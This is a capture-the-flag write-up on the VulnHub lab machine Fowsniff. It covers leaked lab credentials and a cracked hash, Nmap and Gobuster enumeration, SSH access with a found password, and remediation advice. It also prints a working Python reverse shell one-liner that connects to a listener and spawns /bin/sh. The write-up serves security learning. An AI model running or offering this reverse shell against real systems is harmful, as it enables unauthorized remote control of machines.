

Capture The Flag (CTF) Write-up Report: Fowsniff

1. Executive Summary

This report details the security assessment and exploitation process for the VulnHub machine **Fowsniff** (IP: 10.113.187.102), based on the provided enumeration and exploration logs. The objective was to identify open services, uncover misconfigurations or leaked credentials, establish an initial foothold via SSH, and document the potential for reverse shell execution.

2. Enumeration and Information Gathering

External Intelligence (OSINT / Twitter)

Prior intelligence collection revealed a set of potential credentials associated with the target domain:

- Username: stone
- Domain/Host: fowsniff
- MD5 Hash: a92b8a29ef1183192e3d35187e0cfabd
- Decrypted Password: starWars

Network Scanning (Nmap)

An Nmap service scan identified four open ports on the target host:

Port	Status	Service	Version / Information
22/tcp	Open	SSH	OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
80/tcp	Open	HTTP	Apache httpd 2.4.18 (Ubuntu)
110/tcp	Open	POP3	Dovecot pop3d
143/tcp	Open	IMAP	Dovecot imapd

- **OS Guess:** Linux 3.8 - 4.4
- **Web Server Notes:** A `robots.txt` file is present with 1 disallowed entry (/).

Web Directory Bruteforcing (Gobuster)

A directory search on the HTTP service (Port 80) mapped out the following structure:

- `/index.html` (Status: 200) - Main landing page for "Fowsniff Corp".
- `/robots.txt` (Status: 200) - Disallowed entries.
- `/security.txt` (Status: 200) - Security contact information.
- `/assets/` & `/images/` (Status: 301) - Standard web asset directories.
- `/server-status` (Status: 403) - Restricted Apache status page.

3. Exploitation and Foothold

Initial Access (SSH)

Using the information gathered during the enumeration phase or subsequent credential discovery from the mail services (POP3/IMAP), the secondary SSH credential set was identified:

- **SSH Password:** `S1ck3nBluff+seureshell`

This allowed for a successful authentication over SSH (Port 22) to the target machine, granting local shell access under a user context.

Reverse Shell Deployment

To pivot or maintain an interactive session away from the direct SSH connection, a Python 3 reverse shell payload was prepared for execution:

```
Python
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("19
2.168.136.71",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Execution Mechanics: > This one-liner instantiates a socket connection back to the listener at `192.168.136.71:1234`, duplicates the standard input, output, and error file descriptors to the socket, and spawns an interactive shell (`/bin/sh`).

4. Conclusion & Recommendations

The Fowsniff machine demonstrated classic attack vectors involving credential exposure and standard network service availability.

- **Remediation:** Ensure that administrative credentials or hashes are never leaked via public platforms (like Twitter/OSINT channels). Secure mail protocols (POP3/IMAP)

should be properly authenticated, and complex password rotation policies must be enforced across all system users to prevent unauthorized SSH access.